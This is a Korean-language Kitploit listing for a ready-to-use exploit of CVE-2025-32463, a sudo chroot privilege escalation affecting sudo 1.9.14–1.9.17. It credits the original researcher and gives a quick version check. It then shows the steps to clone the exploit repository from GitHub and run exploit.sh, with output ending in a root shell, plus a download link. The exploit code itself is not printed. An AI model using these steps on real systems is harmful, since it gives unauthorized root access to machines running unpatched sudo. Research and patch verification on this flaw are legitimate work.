CVE-2025-32463 — 이것은 CVE-2025-32463에 대한 익스플로잇입니다. | Kitploit

CVE-2025-32463 익스플로잇

이것은 CVE-2025-32463에 대한 익스플로잇입니다.

Rich Mirch (@0xm1rch on X) @ Stratascale님께서 이 놀라운 취약점을 보고해 주셨습니다.
원본 게시물: 취약점 권고: Sudo chroot 권한 상승
NVD: CVE-2025-32463 (CVSS 9.3)

영향을 받는 버전

대부분의 Linux 배포판에서 sudo 1.9.14부터 1.9.17까지의 취약한 빌드(모든 p-리비전)가 영향을 받습니다.

보안 페이지

빠른 취약점 확인

# Vulnerable sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory

# Patched sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root

익스플로잇 테스트

$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git

$ cd CVE-2025-32463

$ chmod +x exploit.sh

$ ./exploit.sh

[+] Launching exploit via sudo...

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)

취약점 이해를 위한 자료

Rich Mirch가 게시한 원본 블로그를 확인하세요 - 여기를 클릭

도구 다운로드